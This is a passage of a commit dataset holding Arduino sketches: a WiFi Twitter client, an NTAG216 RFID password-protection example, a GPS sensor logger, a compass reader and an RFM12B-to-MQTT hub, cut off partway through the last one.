Arduino,PaoloP74\/Arduino,shannonshsu\/Arduino,stevemayhew\/Arduino,sanyaade-iot\/Arduino-1,eduardocasarin\/Arduino,jaehong\/Xmegaduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,noahchense\/Arduino-1,laylthe\/Arduino,piersoft\/esp8266-Arduino,Gourav2906\/Arduino,xxxajk\/Arduino-1,ms-iot\/Arduino,zenmanenergy\/Arduino,henningpohl\/Arduino,jmgonzalez00449\/Arduino,381426068\/Arduino,jaej-dev\/Arduino,paulmand3l\/Arduino,kidswong999\/Arduino,jaimemaretoli\/Arduino,jaimemaretoli\/Arduino,zenmanenergy\/Arduino,Cloudino\/Cloudino-Arduino-IDE,raimohanska\/Arduino,superboonie\/Arduino,damellis\/Arduino,paulo-raca\/ESP8266-Arduino,probonopd\/Arduino,snargledorf\/Arduino,tbowmo\/Arduino,byran\/Arduino,jamesrob4\/Arduino,ssvs111\/Arduino,drpjk\/Arduino,PaoloP74\/Arduino,tbowmo\/Arduino,adafruit\/ESP8266-Arduino,radut\/Arduino,jamesrob4\/Arduino,stevemayhew\/Arduino,jamesrob4\/Arduino,andyvand\/Arduino-1,ogferreiro\/Arduino,wdoganowski\/Arduino,andyvand\/Arduino-1,damellis\/Arduino,jaimemaretoli\/Arduino,acosinwork\/Arduino,paulmand3l\/Arduino,championswimmer\/Arduino,cscenter\/Arduino,ashwin713\/Arduino,KlaasDeNys\/Arduino,zenmanenergy\/Arduino,aichi\/Arduino-2,jabezGit\/Arduino,NaSymbol\/Arduino,sanyaade-iot\/Arduino-1,stickbreaker\/Arduino,probonopd\/Arduino,jaej-dev\/Arduino,gurbrinder\/Arduino,jmgonzalez00449\/Arduino,leftbrainstrain\/Arduino-ESP8266,tannewt\/Arduino,gurbrinder\/Arduino,eduardocasarin\/Arduino,Chris--A\/Arduino,rcook\/DesignLab,01org\/Arduino,HCastano\/Arduino,Gourav2906\/Arduino,stevemayhew\/Arduino,koltegirish\/Arduino,noahchense\/Arduino-1,eddyst\/Arduino-SourceCode,raimohanska\/Arduino,Gourav2906\/Arduino,mattvenn\/Arduino,SmartArduino\/Arduino-1,tbowmo\/Arduino,tannewt\/Arduino,tomkrus007\/Arduino,ntruchsess\/Arduino-1,xxxajk\/Arduino-1,ricklon\/Arduino,lukeWal\/Arduino,weera00\/Arduino,PaintYourDragon\/Arduino,nandojve\/Arduino,steamboating\/Arduino,Chris--A\/Arduino,mangelajo\/Arduino,eggfly\/arduino,ForestNymph\/Arduino_sources,UDOOboard\/Arduino,stickbreaker\/Arduino,karlitxo\/Arduino,wilhelmryan\/Arduino,piersoft\/esp8266-Arduino,pdNor\/Arduino,superboonie\/Arduino,rodibot\/Arduino,zenmanenergy\/Arduino,UDOOboard\/Arduino,zederson\/Arduino,stevemarple\/Arduino-org,damellis\/Arduino,gberl001\/Arduino,talhaburak\/Arduino,garci66\/Arduino,mboufos\/esp8266-Arduino,linino\/Arduino,damellis\/Arduino,henningpohl\/Arduino,ccoenen\/Arduino,onovy\/Arduino,OpenDevice\/Arduino,381426068\/Arduino,smily77\/Arduino,eddyst\/Arduino-SourceCode,HCastano\/Arduino,damellis\/Arduino,kidswong999\/Arduino,chaveiro\/Arduino,pdNor\/Arduino,mateuszdw\/Arduino,snargledorf\/Arduino,NicoHood\/Arduino,gonium\/Arduino,tomkrus007\/Arduino,UDOOboard\/Arduino,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,OpenDevice\/Arduino,Ramoonus\/Arduino,eggfly\/arduino,raimohanska\/Arduino,381426068\/Arduino,paulo-raca\/ESP8266-Arduino,radut\/Arduino,pdNor\/Arduino,xxxajk\/Arduino-1,myrtleTree33\/Arduino","old_file":"WiFi\/examples\/WifiTwitterClient\/WifiTwitterClient.ino","new_file":"WiFi\/examples\/WifiTwitterClient\/WifiTwitterClient.ino","new_contents":"\/*\n Wifi Twitter Client with Strings\n \n This sketch connects to Twitter using using an Arduino WiFi shield. \n It parses the XML returned, and looks for <text>this is a tweet<\/text>\n \n This example is written for a network using WPA encryption. For \n WEP or WPA, change the Wifi.begin() call accordingly.\n \n This example uses the String library, which is part of the Arduino core from\n version 0019. \n \n Circuit:\n * WiFi shield attached to pins 10, 11, 12, 13\n \n created 9 Mar 2012\n by Tom Igoe\n \n This code is in the public domain.\n \n *\/\n#include <SPI.h>\n#include <WiFi.h>\n\nchar ssid[] = \"YourNetwork\"; \/\/ your network SSID (name) \nchar pass[] = \"password\"; \/\/ your network password (use for WPA, or use as key for WEP)\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\nint status = WL_IDLE_STATUS; \/\/ status of the wifi connection\n\n\/\/ initialize the library instance:\nWiFiClient client;\n\nconst unsigned long requestInterval = 30*1000; \/\/ delay between requests; 30 seconds\n\nIPAddress server(199,59,149,200); \/\/ api.twitter.com\n\nboolean requested; \/\/ whether you've made a request since connecting\nunsigned long lastAttemptTime = 0; \/\/ last time you connected to the server, in milliseconds\n\nString currentLine = \"\"; \/\/ string to hold the text from server\nString tweet = \"\"; \/\/ string to hold the tweet\nboolean readingTweet = false; \/\/ if you're currently reading the tweet\n\nvoid setup() {\n \/\/ reserve space for the strings:\n currentLine.reserve(256);\n tweet.reserve(150);\n \/\/ initialize serial:\n Serial.begin(9600);\n Serial.println(\"Attempting to connect to WPA network...\");\n Serial.print(\"SSID: \");\n Serial.println(ssid);\n\n status = WiFi.begin(ssid, pass);\n if ( status != WL_CONNECTED) { \n Serial.println(\"Couldn't get a wifi connection\");\n while(true);\n } \n else {\n Serial.println(\"Connected to wifi\");\n printWifiStatus();\n connectToServer();\n }\n}\n\n\n\nvoid loop()\n{\n if (client.connected()) {\n if (client.available()) {\n \/\/ read incoming bytes:\n char inChar = client.read();\n \/\/ print the incoming byte (for debugging):\n Serial.write(inChar);\n\n \/\/ add incoming byte to end of line:\n currentLine += inChar; \n\n \/\/ if you get a newline, clear the line:\n if (inChar == '\\n') {\n currentLine = \"\";\n } \n \/\/ if the current line ends with <text>, it will\n \/\/ be followed by the tweet:\n if ( currentLine.endsWith(\"<text>\")) {\n \/\/ tweet is beginning. Clear the tweet string:\n readingTweet = true; \n tweet = \"\";\n }\n \/\/ if you're currently reading the bytes of a tweet,\n \/\/ add them to the tweet String:\n if (readingTweet) {\n if (inChar != '<') {\n tweet += inChar;\n } \n else {\n \/\/ if you got a \"<\" character,\n \/\/ you've reached the end of the tweet:\n readingTweet = false;\n Serial.println(tweet); \n \/\/ close the connection to the server:\n client.stop(); \n }\n }\n } \n }\n else if (millis() - lastAttemptTime > requestInterval) {\n \/\/ if you're not connected, and two minutes have passed since\n \/\/ your last connection, then attempt to connect again:\n connectToServer();\n }\n}\n\nvoid connectToServer() {\n \/\/ attempt to connect, and wait a millisecond:\n Serial.println(\"connecting to server...\");\n if (client.connect(server, 80)) {\n Serial.println(\"making HTTP request...\");\n \/\/ make HTTP GET request to twitter:\n client.println(\"GET \/1\/statuses\/user_timeline.xml?screen_name=arduinoteam HTTP\/1.1\");\n client.println(\"Host:api.twitter.com\");\n client.println(\"Connection:close\");\n client.println();\n }\n \/\/ note the time of this connect attempt:\n lastAttemptTime = millis();\n} \n\n\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\n\n","old_contents":"\/*\n Wifi Twitter Client with Strings\n \n This sketch connects to Twitter using using an Arduino WiFi shield. \n It parses the XML returned, and looks for <text>this is a tweet<\/text>\n \n This example is written for a network using WPA encryption. For \n WEP or WPA, change the Wifi.begin() call accordingly.\n \n This example uses the String library, which is part of the Arduino core from\n version 0019. \n \n Circuit:\n * WiFi shield attached to pins 10, 11, 12, 13\n \n created 8 Mar 2012\n by Tom Igoe\n \n This code is in the public domain.\n \n *\/\n#include <SPI.h>\n#include <WiFi.h>\n\nchar ssid[] = \"YourNetwork\"; \/\/ your network SSID (name) \nchar pass[] = \"password\"; \/\/ your network password (use for WPA, or use as key for WEP)\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\nint status = WL_IDLE_STATUS; \/\/ status of the wifi connection\n\n\/\/ initialize the library instance:\nWiFiClient client;\n\nconst unsigned long requestInterval = 30*1000; \/\/ delay between requests; 30 seconds\n\nIPAddress server(199,59,149,200); \/\/ api.twitter.com\n\nboolean requested; \/\/ whether you've made a request since connecting\nunsigned long lastAttemptTime = 0; \/\/ last time you connected to the server, in milliseconds\n\nString currentLine = \"\"; \/\/ string to hold the text from server\nString tweet = \"\"; \/\/ string to hold the tweet\nboolean readingTweet = false; \/\/ if you're currently reading the tweet\n\nvoid setup() {\n \/\/ reserve space for the strings:\n currentLine.reserve(256);\n tweet.reserve(150);\n \/\/ initialize serial:\n Serial.begin(9600);\n Serial.println(\"Attempting to connect to WPA network...\");\n Serial.print(\"SSID: \");\n Serial.println(ssid);\n\n status = WiFi.begin(ssid, pass);\n if ( status != WL_CONNECTED) { \n Serial.println(\"Couldn't get a wifi connection\");\n while(true);\n } \n else {\n Serial.println(\"Connected to wifi\");\n printWifiStatus();\n connectToServer();\n }\n}\n\n\n\nvoid loop()\n{\n if (client.connected()) {\n if (client.available()) {\n \/\/ read incoming bytes:\n char inChar = client.read();\n \n \/\/ add incoming byte to end of line:\n currentLine += inChar; \n\n \/\/ if you get a newline, clear the line:\n if (inChar == '\\n') {\n currentLine = \"\";\n } \n \/\/ if the current line ends with <text>, it will\n \/\/ be followed by the tweet:\n if ( currentLine.endsWith(\"<text>\")) {\n \/\/ tweet is beginning. Clear the tweet string:\n readingTweet = true; \n tweet = \"\";\n }\n \/\/ if you're currently reading the bytes of a tweet,\n \/\/ add them to the tweet String:\n if (readingTweet) {\n if (inChar != '<') {\n tweet += inChar;\n } \n else {\n \/\/ if you got a \"<\" character,\n \/\/ you've reached the end of the tweet:\n readingTweet = false;\n Serial.println(tweet); \n \/\/ close the connection to the server:\n client.stop(); \n }\n }\n } \n }\n else if (millis() - lastAttemptTime > requestInterval) {\n \/\/ if you're not connected, and two minutes have passed since\n \/\/ your last connection, then attempt to connect again:\n connectToServer();\n }\n}\n\nvoid connectToServer() {\n \/\/ attempt to connect, and wait a millisecond:\n Serial.println(\"connecting to server...\");\n if (client.connect(server, 80)) {\n Serial.println(\"making HTTP request...\");\n \/\/ make HTTP GET request to twitter:\n client.println(\"GET \/1\/statuses\/user_timeline.xml?screen_name=arduinoteam HTTP\/1.1\");\n client.println(\"HOST:api.twitter.com\");\n client.println();\n }\n \/\/ note the time of this connect attempt:\n lastAttemptTime = millis();\n} \n\n\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e19b9a97d41c318662e1cc36fdd13abfeb2a1aa1","subject":"Ntag216_AUTH.ino own directory","message":"Ntag216_AUTH.ino own directory\n","repos":"miguelbalboa\/rfid,Rotzbua\/rfid,hramrach\/rfid,Rotzbua\/rfid,sophiekovalevsky\/rfid","old_file":"examples\/Ntag216_AUTH\/Ntag216_AUTH.ino","new_file":"examples\/Ntag216_AUTH\/Ntag216_AUTH.ino","new_contents":"\/\/This example show how you can get Authenticated by the NTAG213,215,216 by default the tags are unprotected in order to protect them we need to write 4 different values:\n\/\/ Using mfrc522.MIFARE_Ultralight_Write(PageNum, Data, #Databytes)) \n\/\/1.- we need to write the 32bit passWord to page 0xE5 !for ntag 213 and 215 page is different refer to nxp documentation!\n\/\/2.- Now Write the 16 bits pACK to the page 0xE6 use the 2 high bytes like this: pACKH + pACKL + 00 + 00 after an authentication the tag will return this secret bytes\n\/\/3.- Now we need to write the first page we want to protect this is a 1 byte data in page 0xE3 we need to write 00 + 00 + 00 + firstPage all pages after this one are write protected\n\/\/ Now WRITE protection is ACTIVATED so we need to get authenticated in order to write the last data\n\/\/4.- Finally we need to write an access record in order to READ protect the card this step is optional only if you want to read protect also write 80 + 00 + 00 + 00 to 0xE4\n\/\/After completeing all these steps you will nee to authentiate first in order to read or write ant page after the first page you selected to protect \n\/\/To disengage proection just write the page (0xE3) to 00 + 00 + 00 + FF that going to remove all protection\n\/\/Made by GARGANTUA from RoboCreators.com & paradoxalabs.com\n\n#include <SPI.h>\n#include <MFRC522.h>\n\n#define RST_PIN 9 \/\/ \n#define SS_PIN 10 \/\/\n\nMFRC522 mfrc522(SS_PIN, RST_PIN); \/\/ Create MFRC522 instance\n\nvoid setup() {\n Serial.begin(9600); \/\/ Initialize serial communications with the PC\n while (!Serial); \/\/ Do nothing if no serial port is opened (added for Arduinos based on ATMEGA32U4)\n SPI.begin(); \/\/ Init SPI bus\n mfrc522.PCD_Init(); \/\/ Init MFRC522\n Serial.println(F(\"Scan PICC to see UID, type, and data blocks...\"));\n}\n\nvoid loop() {\n \/\/ Look for new cards\n if ( ! mfrc522.PICC_IsNewCardPresent()) {\n return;\n }\n\n \/\/ Select one of the cards\n if ( ! mfrc522.PICC_ReadCardSerial()) {\n return;\n }\n\n\nbyte PSWBuff[]={0xFF,0xFF,0xFF,0xFF}; \/\/32 bit PassWord default FFFFFFFF\nbyte pACK[]={0,0}; \/\/16 bit PassWord ACK returned by the NFCtag\n\nSerial.print(\"Auth: \");\nSerial.println(mfrc522.PCD_NTAG216_AUTH(&PSWBuff[0],pACK)); \/\/Request Authentification if return STATUS_OK we are good\n\n\/\/Print PassWordACK\nSerial.print(pACK[0],HEX);\nSerial.println(pACK[1],HEX);\n\nbyte WBuff[] = {0x00,0x00,0x00,0x04};\nbyte RBuff[18];\n\n\/\/Serial.print(\"CHG BLK: \");\n\/\/Serial.println(mfrc522.MIFARE_Ultralight_Write(0xE3, WBuff, 4)); \/\/How to write to a page \n \nmfrc522.PICC_DumpMifareUltralightToSerial(); \/\/This is a modifier dunp just cghange the for cicle to < 232 instead of < 16 in order to see all the pages on NTAG216\n\ndelay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Ntag216_AUTH\/Ntag216_AUTH.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"1ec5e280d3e10f33dbcec8eac7747a4af92a6b87","subject":"First prototype sketch","message":"First prototype sketch\n","repos":"mrunde\/SenseBox-PerfectCyclingRoads,mrunde\/SenseBox-PerfectCyclingRoads","old_file":"sensebox\/sensebox.ino","new_file":"sensebox\/sensebox.ino","new_contents":"#include <SoftwareSerial.h>\n#include <TinyGPS.h>\n#include <SPI.h>\n#include <SD.h>\n#include <Wire.h>\n#include <Digital_Light_TSL2561.h>\n#include \"Barometer.h\"\n#include \"I2Cdev.h\"\n#include \"MPU6050.h\"\n\nconst int LED = 7;\nconst int chipSelect = 4;\nconst int soundSensor = A0;\n\n\/\/Barometer variables\nfloat pressure;\nfloat atm;\nfloat altitude;\nBarometer myBarometer;\n\n\/\/Accelerometer variables\nMPU6050 accelgyro;\nI2Cdev I2C_M;\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\nint16_t mx, my, mz;\nfloat Axyz[3];\nfloat Gxyz[3];\nfloat Mxyz[3];\n\nTinyGPS gps;\n\nFile dataFile;\nString dataRow;\nString seperator = \",\";\nString dattim = \"noval\";\nint rowCounter = 1;\n\nSoftwareSerial ss(2, 3);\n\n\/\/Button variables\nconst int buttonPin = 8; \/\/ the number of the pushbutton pin\nint buttonState = 0;\nint lastButtonState = 0; \/\/ variable for reading the pushbutton status\nint isOn;\n\n\/*\n GPS to 3, 2, 5V and GND.\n Sound to A0.\n Gyro, Light and Barometer to I2C.\n Button to 8.\n LED to 7.\n*\/\n\nvoid setup() {\n Serial.begin(9600);\n Wire.begin();\n \/\/Initialize Accelerometer\n accelgyro.initialize();\n Serial.println(accelgyro.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n delay(1000);\n\n \/\/ Initialize Light Sensor\n TSL2561.init();\n \n \/\/Init barometer\n myBarometer.init();\n\n\n \/\/ Initalize SD card:\n \/\/Serial.print(\"init sd card...\");\n\n if (!SD.begin(chipSelect)) {\n \/\/Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n \/\/Serial.println(F(\"card initialized.\"));\n\n \/\/Pins:\n pinMode(LED, OUTPUT);\n pinMode(soundSensor, INPUT);\n pinMode(buttonPin, INPUT);\n\n \/\/Serial.println(F(FreeRam()));\n dataFile = SD.open(\"test.csv\", FILE_WRITE);\n\n \/\/ If the file opened okay, write to it:\n if (dataFile) {\n \/\/Serial.print(\"Writing to test.txt...\");\n dataFile.println(\"Logging: row, lat, lon, time, sound, brightness, vibration, pressure.\");\n \/\/ close the file:\n dataFile.close();\n \/\/Serial.println(\"done.\");\n } else {\n \/\/ if the file didn't open, print an error:\n Serial.println(F(\"error opening test.txt\"));\n }\n}\n\nvoid loop() {\n buttonState = digitalRead(buttonPin);\n\n \/\/Serial.println(buttonState);\n if (buttonState != lastButtonState) {\n if (buttonState == HIGH) {\n \/\/buttonPushCounter++;\n Serial.println(F(\"ON\"));\n isOn = 1 - isOn;\n \/\/Serial.print(buttonPushCounter);\n\n } else {\n Serial.println(F(\"OFF\"));\n }\n delay(50);\n }\n lastButtonState = buttonState;\n\n if (isOn == 1) {\n digitalWrite(LED, HIGH);\n bool newData = false;\n \n ss.begin(9600);\n\n \/\/Serial.println(\"starting gps reading\");\n\n \/\/ Parse GPS data for one second and report some key values\n \/\/Serial.println(\"Searching GPS...\");\n for (unsigned long start = millis(); millis() - start < 1000;)\n {\n while (ss.available())\n {\n char c = ss.read();\n \/\/Serial.print(c); \/\/ uncomment to see the full NMEA datasets\n if (gps.encode(c)) { \/\/ Did a new valid sentence come in?\n newData = true;\n Serial.println(F(\"Data found! Proceeding...\"));\n }\n }\n }\n\n ss.end();\n \n\n if (newData)\n\n {\n \/\/ IF NEW GPS-DATA\n Serial.println(F(\"GPS data found!\"));\n\n\n\n float flat, flon;\n unsigned long age, date, time;\n gps.f_get_position(&flat, &flon, &age);\n \/\/Serial.println(\"\");\n \/\/Serial.print(\"LAT = \");\n flat == TinyGPS::GPS_INVALID_F_ANGLE ? 0.0 : flat, 6;\n \/\/Serial.print(\"LON = \");\n flon == TinyGPS::GPS_INVALID_F_ANGLE ? 0.0 : flon, 6;\n \/\/ Serial.println(\"DATE & TIME:\");\n\n \/\/ print date\n int year;\n byte month, day, hour, minute, second, hundredths;\n gps.crack_datetime(&year, &month, &day, &hour, &minute, &second, &hundredths, &age);\n if (age == TinyGPS::GPS_INVALID_AGE)\n Serial.print(F(\"********** ******** \"));\n else\n {\n char sz[32];\n sprintf(sz, \"%02d\/%02d\/%02d %02d:%02d:%02d \",\n month, day, year, hour, minute, second);\n \/\/Serial.print(sz);\n dattim = String(sz);\n \/\/Serial.print(dattim);\n }\n \n \/\/ GPS reading done\n newData = false;\n\n \/\/read sensors\n \/\/reading done directly due to memory limitations\n \/\/Serial.println(\"reading sensors\");\n\n \/\/temp and humidity\n\n \/\/Sound\n \/\/loudness = analogRead(SOUND_SENSOR);\n\n \/\/Light\n \/\/brightness = TSL2561.readVisibleLux();\n\n \/\/Accel\/Gyro\n\n getAccel_Data();\n getGyro_Data();\n \/\/\n \/\/ Serial.println(\"Vib index:\");\n \/\/ vib_index = abs(Axyz[0]) + abs(Axyz[1]) + abs(Axyz[2]);\n \/\/ Serial.println(abs(Axyz[0]) + abs(Axyz[1]) + abs(Axyz[2]));\n\n \/\/Save collected data to sd card\n dataFile = SD.open(\"test.csv\", FILE_WRITE);\n\n if (dataFile) {\n \/\/ Serial.print(\"Writing to test.txt...\");\n dataFile.print(rowCounter);\n dataFile.print(seperator);\n dataFile.print(flat, 6);\n dataFile.print(seperator);\n dataFile.print(flon, 6);\n dataFile.print(seperator);\n dataFile.print(dattim);\n dataFile.print(seperator);\n dataFile.print(analogRead(soundSensor));\n dataFile.print(seperator);\n dataFile.print(TSL2561.readVisibleLux());\n dataFile.print(seperator);\n dataFile.print((abs(Axyz[0]) + abs(Axyz[1]) + abs(Axyz[2])), 2);\n dataFile.print(seperator);\n dataFile.print(myBarometer.calcAltitude(myBarometer.bmp085GetPressure(myBarometer.bmp085ReadUP())));\n\n \/\/ close the file:\n dataFile.close();\n\n rowCounter = rowCounter + 1;\n \/\/Serial.println(F(\"done writing.\"));\n } else {\n \/\/ if the file didn't open, print an error:\n \/\/Serial.println(F(\"error opening file\"));\n }\n\n }\n } else {\n digitalWrite(LED, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n }\n\n}\n\nvoid getAccel_Data(void)\n{\n accelgyro.getMotion9(&ax, &ay, &az, &gx, &gy, &gz, &mx, &my, &mz);\n Axyz[0] = (double) ax \/ 16384;\n Axyz[1] = (double) ay \/ 16384;\n Axyz[2] = (double) az \/ 16384;\n}\n\nvoid getGyro_Data(void)\n{\n accelgyro.getMotion9(&ax, &ay, &az, &gx, &gy, &gz, &mx, &my, &mz);\n Gxyz[0] = (double) gx * 250 \/ 32768;\n Gxyz[1] = (double) gy * 250 \/ 32768;\n Gxyz[2] = (double) gz * 250 \/ 32768;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensebox\/sensebox.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10bb370aff6609ba6d570708ea1e9d4c1678e864","subject":"Create compass.ino","message":"Create compass.ino","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"compass.ino","new_file":"compass.ino","new_contents":"#include <Wire.h>\n\n#define Addr 0x1E \/\/ i2c address\n\nvoid setup() {\n Serial.begin(9600);\n delay(100); \/\/ if you forget this step, your results will be muddled\n Wire.begin();\n \n \/\/ Set operating mode to continuous\n Wire.beginTransmission(Addr); \n Wire.write(byte(0x02));\n Wire.write(byte(0x00));\n Wire.endTransmission();\n}\nint compass() {\n int x, y, z;\n\n \/\/ Initiate communications with compass\n Wire.beginTransmission(Addr);\n Wire.write(byte(0x03)); \/\/ most significant byte first\n Wire.endTransmission();\n\n Wire.requestFrom(Addr, 6); \/\/ request two bytes per axis\n if(Wire.available() <=6) { \/\/ need 6 bytes available\n x = Wire.read() << 8 | Wire.read();\n z = Wire.read() << 8 | Wire.read();\n y = Wire.read() << 8 | Wire.read();\n }\nreturn(x,y,z); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'compass.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"89599489610029d8d1e021f86e8ff2877b7f8df2","subject":"Clean up formatting","message":"Clean up formatting\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"85128978fb090cba4ea14d07536fbbcd245bf7bd","subject":"re-add re-connect in loop. Required for YunHub to reconnect after Mac & Mosquitto restart.","message":"re-add re-connect in loop. Required for YunHub to reconnect after Mac & Mosquitto restart.\n","repos":"473856\/Lupinino,473856\/Lupinino,473856\/Lupinino,473856\/Lupinino","old_file":"projects\/YunHub\/YunHub_1.07_MQTT\/YunHub_1.07_MQTT.ino","new_file":"projects\/YunHub\/YunHub_1.07_MQTT\/YunHub_1.07_MQTT.ino","new_contents":"\/\/\n\/\/ Receive RFM12B packets and publish to MQTT server 192.168.178.27\n\/\/\n\/\/ only for dedicated senders:\n\/\/\n\/\/ 1) Temperature Node (group 33, node 22)\n\/\/ --> time stamp, RF12 group ID, node ID, Vcc, T1, T2\n\/\/ 2) RadioBlip2 (group 33, id 17)\n\/\/\n\/\/ Blink LED #13 for each package received\n\/\/\n#define PROGRAMVERSION \"150919 YunHub 1.07\"\n\n#include <Bridge.h>\n#include <JeeLib.h>\n#include <YunClient.h>\n#include <PubSubClient.h>\n\nbyte rf12_group, rf12_nodeid;\nString timeStamp, dataStr, rawdataStr;\nchar message_buff[100];\n\n\/\/ Update these with values suitable for your network.\nbyte server[] = { 192, 168, 178, 27 };\n\n\n\/\/ Temperature node data structure. Timestamp created locally, at time of receival.\nstruct\n{\n String timeStamp; \/\/ \"+%Y-%m-%d %T\": format \"YYYY-MM-DD hh:mm:ss\"\n byte rf12_group; \/\/ RF12 group ID\n byte rf12_nodeid; \/\/ RF12 node ID\n float Vcc; \/\/ Supply voltage\n float T1; \/\/ Temperature reading\n float T2; \/\/ Temperature reading\n} TNodeData;\n\n\n\/\/ RadioBlip2 data structure. Timestamp created locally, at time of receival.\nstruct\n{\n String timeStamp; \/\/ \"+%Y-%m-%d %T\": format \"YYYY-MM-DD hh:mm:ss\"\n byte rf12_group; \/\/ RF12 group ID\n byte rf12_nodeid; \/\/ RF12 node ID\n float Vcc; \/\/ Supply voltage\n} RadioBlip2Data;\n\n\n\/\/ ===========================================================\n\/\/ MQTT callback function, called for incoming messages\n\/\/ ===========================================================\nvoid callback(char *topic, byte *payload, unsigned int length)\n{\n \/\/ counter\n int i = 0;\n \/\/ buffer for payload-to-string conversion\n char message_buff[100];\n\n \/\/ copy payload to buffer, append \\0\n for (i = 0; i < length; i++)\n {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n}\n\nYunClient yun;\nPubSubClient client(server, 1883, callback, yun);\n\nvoid setup ()\n{\n \/\/ start-up the Yun bridge\n Bridge.begin();\n delay(2000);\n\n Serial.begin(57600);\n Serial.println(\"***\");\n Serial.print(\"*** \");\n Serial.println(PROGRAMVERSION);\n Serial.println(\"***\");\n\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n\n rf12_initialize(1, RF12_868MHZ, 0); \/\/ group id = 0 to receive from all groups\n\n \/\/ Connect to MQTT server if not available\n client.connect(\"arduinoYunClient\");\n client.publish(\"ConnectMessage\", \"YunChen setup: connected.\");\n}\n\n\nvoid loop ()\n{\n client.loop();\n\n if (rf12_recvDone() && rf12_crc == 0)\n {\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n\n \/\/ Connect to MQTT server if connection was lost\n if (!client.connected())\n {\n client.connect(\"arduinoYunClient\");\n client.publish(\"ConnectMessage\", \"YunChen loop: reconnected.\");\n }\n\n \/\/ identify sender via group & nodeid\n \/\/ node id is in the first 5 bits of rf12_hdr --> & RF12_HDR_MASK\n rf12_group = rf12_grp;\n rf12_nodeid = rf12_hdr & RF12_HDR_MASK;\n timeStamp = getTimeStamp();\n\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Raw Data (group ALL, id ALL) \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/* remove raw data log since it freezes for long data strings\n rawdataStr = timeStamp + \",\"\n + String(rf12_group) + \",\"\n + String(rf12_nodeid);\n for (byte i = 0; i < rf12_len; ++i)\n {\n rawdataStr += \",\";\n rawdataStr += rf12_data[i];\n }\n\n \/\/ publish to MQTT server\n char charBuf[rawdataStr.length()];\n rawdataStr.toCharArray(charBuf, rawdataStr.length());\n client.publish(\"RF12_RawData\", charBuf);\n *\/\n\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ TNode (group 33, id 22) \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (rf12_group == 33 and rf12_nodeid == 22)\n {\n TNodeData.rf12_group = rf12_group;\n TNodeData.rf12_nodeid = rf12_nodeid;\n TNodeData.timeStamp = timeStamp;\n TNodeData.Vcc = int(word(rf12_data[1], rf12_data[0])) \/ 1000.0;\n TNodeData.T1 = int(word(rf12_data[3], rf12_data[2])) \/ 100.0;\n TNodeData.T2 = int(word(rf12_data[5], rf12_data[4])) \/ 100.0;\n\n dataStr = TNodeData.timeStamp + \",\"\n + String(TNodeData.rf12_group) + \",\"\n + String(TNodeData.rf12_nodeid) + \",\"\n + String(TNodeData.Vcc) + \",\"\n + String(TNodeData.T1) + \",\"\n + String(TNodeData.T2);\n\n \/\/ publish interpreted TNode data to MQTT server\n char charBuf[dataStr.length() + 1];\n dataStr.toCharArray(charBuf, dataStr.length());\n client.publish(\"TNode\", charBuf);\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ RadioBlip2 (group 33, id 17) \/\/\n 